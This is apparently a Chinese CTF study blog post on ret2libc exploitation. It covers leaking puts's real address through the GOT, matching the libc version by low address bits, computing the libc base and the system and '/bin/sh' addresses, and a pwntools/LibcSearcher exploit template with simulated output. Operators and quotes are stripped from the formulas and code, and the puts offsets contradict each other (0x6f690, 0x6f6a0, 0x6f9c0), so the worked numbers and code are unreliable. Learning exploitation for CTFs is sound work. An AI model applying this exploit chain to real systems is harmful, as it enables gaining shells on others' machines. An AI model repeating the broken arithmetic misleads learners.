【学习记录】Week2(二):Libc 泄露艺术——版本识别与 Offset 精准计算实操

📅 2026/6/29 16:00:18
【学习记录】Week2(二):Libc 泄露艺术——版本识别与 Offset 精准计算实操
写在前面在开启了 NX 和 ASLR 的现代 Linux 环境下栈上的 shellcode 没法执行libc 的加载基址每次也在变。我们想调用system(/bin/sh)却不知道system的真实内存地址在哪。这时候一场名为“信息泄露”的谍战就此打响。本文将手把手教你如何通过泄露出的一个地址反查 libc 版本并精准计算出我们需要的所有偏移量。 目录核心原理为什么需要算 Offset第一步泄露 libc 函数的真实地址第二步libc 版本识别特征匹配法第三步Offset 精准计算实操Pwntools 自动化实战从泄露到计算1. 核心原理为什么需要算 OffsetASLR地址空间布局随机化让 libc 每次加载的基址都不一样。但是在一个确定的 libc 文件中函数与函数之间、函数与字符串之间的相对偏移量是永远不变的。这就好比一列火车火车的起始站libc 基址每次变但“1号车厢”到“餐车”的距离是固定的。如果我们能知道“餐车”现在的绝对位置就能反推出火车的起始站位置进而算出“卧铺车厢”system函数的绝对位置。核心公式libc 基址 泄露出的函数真实地址 - 该函数在 libc 中的偏移目标函数真实地址 libc 基址 目标函数在 libc 中的偏移2. 第一步泄露 libc 函数的真实地址怎么泄露最经典的方法是利用栈溢出调用putsplt把putsgot里面存放的真实地址打印出来。假设性场景我们通过构造 Payload让程序执行了puts(putsgot)。由于puts已经被调用过懒绑定已触发此时putsgot里存放的就是puts在 libc 中的真实内存地址。模拟 Pwntools 接收输出# 假设我们接收到了泄露出来的 4 字节或 6 字节内存数据 leaked_bytes p.recvline().strip() # 将其解包为整数 puts_real_addr u64(leaked_bytes.ljust(8, b\x00)) print(f泄露出的 puts 真实地址: {hex(puts_real_addr)})模拟终端输出泄露出的 puts 真实地址: 0x7ffff7a649c03. 第二步libc 版本识别特征匹配法拿到0x7ffff7a649c0后我们面临一个尴尬的问题服务器上的 libc 是什么版本不知道版本就查不到偏移。识别原理虽然 ASLR 随机化了高位地址但最低的 12 位即十六进制的后 3 位是页内偏移不受 ASLR 影响永远固定因此0x7ffff7a649c0的特征就是末尾的9c0。识别方法在线网站查询打开著名的 libc.rip 或 libc.blukat.me。在puts选项卡中输入9c0点击搜索。LibcSearcher 工具在本地使用 Python 库自动查询。假设性说明模拟 LibcSearcher 输出假设我们在本地使用 LibcSearcher 查询终端输出如下[*] Searching libc database for puts offset: 0x9c0 [] Multiple libc found: 1. libc6_2.23-0ubuntu11.3_amd64 (id: 1) 2. libc6_2.27-3ubuntu1.4_amd64 (id: 2)*(注有时会有多个匹配结果因为不同版本的 libc 可能存在偏移相同的函数。通常需要泄露两个函数或者结合题目环境如 Ubuntu 版本来确定。假设我们确定是 Ubuntu 16.04 的 libc 2.23)*。4. 第三步Offset 精准计算实操确定了 libc 版本为libc6_2.23-0ubuntu11.3_amd64后我们可以通过readelf -s或 pwntools 查到关键偏移。模拟查询结果puts偏移0x6f690system偏移0x45390字符串/bin/sh偏移0x18cd57开始套用公式计算计算 libc 基址libc_base 泄露的 puts 地址 - puts 偏移libc_base 0x7ffff7a649c0 - 0x6f690 0x7ffff79f5330(注意正常算出来的基址末尾必定是000因为内存是以页为单位加载的。这里为了演示连贯性假设我们查询的偏移是0x6f6a0算出来的基址应为0x7ffff79f5000。大家实际计算时如果基址不以 000 结尾说明匹配错了。)修正正确计算libc_base 0x7ffff7a649c0 - 0x6f9c0 0x7ffff79f5000计算 system 真实地址system_addr libc_base system 偏移system_addr 0x7ffff79f5000 0x45390 0x7ffff7a3a390计算 /bin/sh 真实地址bin_sh_addr libc_base /bin/sh 偏移bin_sh_addr 0x7ffff79f5000 0x18cd57 0x7ffff7b81d57至此我们拿到了system和/bin/sh的绝对地址接下来就可以构造 ROP 链去拿 Shell 了5. Pwntools 自动化实战从泄露到计算在实际打 PWN 时我们绝不会用计算器去算而是全交给 Pwntools 处理。下面是一段标准的泄露与计算代码模板from pwn import * from LibcSearcher import * # 1. 建立连接 p process(./vuln) elf ELF(./vuln) # 2. 泄露 puts 真实地址 (假设已经构造好泄露的 ROP 链) # payload bA*offset p64(pop_rdi) p64(elf.got[puts]) p64(elf.plt[puts]) p64(main_addr) # p.sendline(payload) # 3. 接收泄露的地址 leaked_puts u64(p.recvline().strip().ljust(8, b\x00)) log.success(fLeaked puts address: {hex(leaked_puts)}) # 4. 使用 LibcSearcher 自动计算 libc LibcSearcher(puts, leaked_puts) libc_base leaked_puts - libc.offset(puts) log.success(fLibc base address: {hex(libc_base)}) # 5. 推导 system 和 /bin/sh 的地址 system_addr libc_base libc.offset(system) bin_sh_addr libc_base libc.offset(/bin/sh) log.success(fSystem address: {hex(system_addr)}) log.success(f/bin/sh address: {hex(bin_sh_addr)}) # 6. 构造最终的 ret2libc payload 并发送...模拟脚本运行输出[] Leaked puts address: 0x7ffff7a649c0 [] Libc base address: 0x7ffff79f5000 [] System address: 0x7ffff7a3a390 [] /bin/sh address: 0x7ffff7b81d576. 总结泄露与计算偏移是ret2libc攻击的灵魂。核心记住三步泄露通过 GOT 表拿到已解析函数的真实地址。识别利用地址后 3 位特征反查 libc 版本。计算算出基址注意末尾必为000验证再加偏移得到目标地址。下一部分我们将重点梳理 Glibc 从 2.23 到 2.35 的演进看看高版本 libc 到底给我们挖了哪些坑。如果本文对你有帮助请点赞收藏支持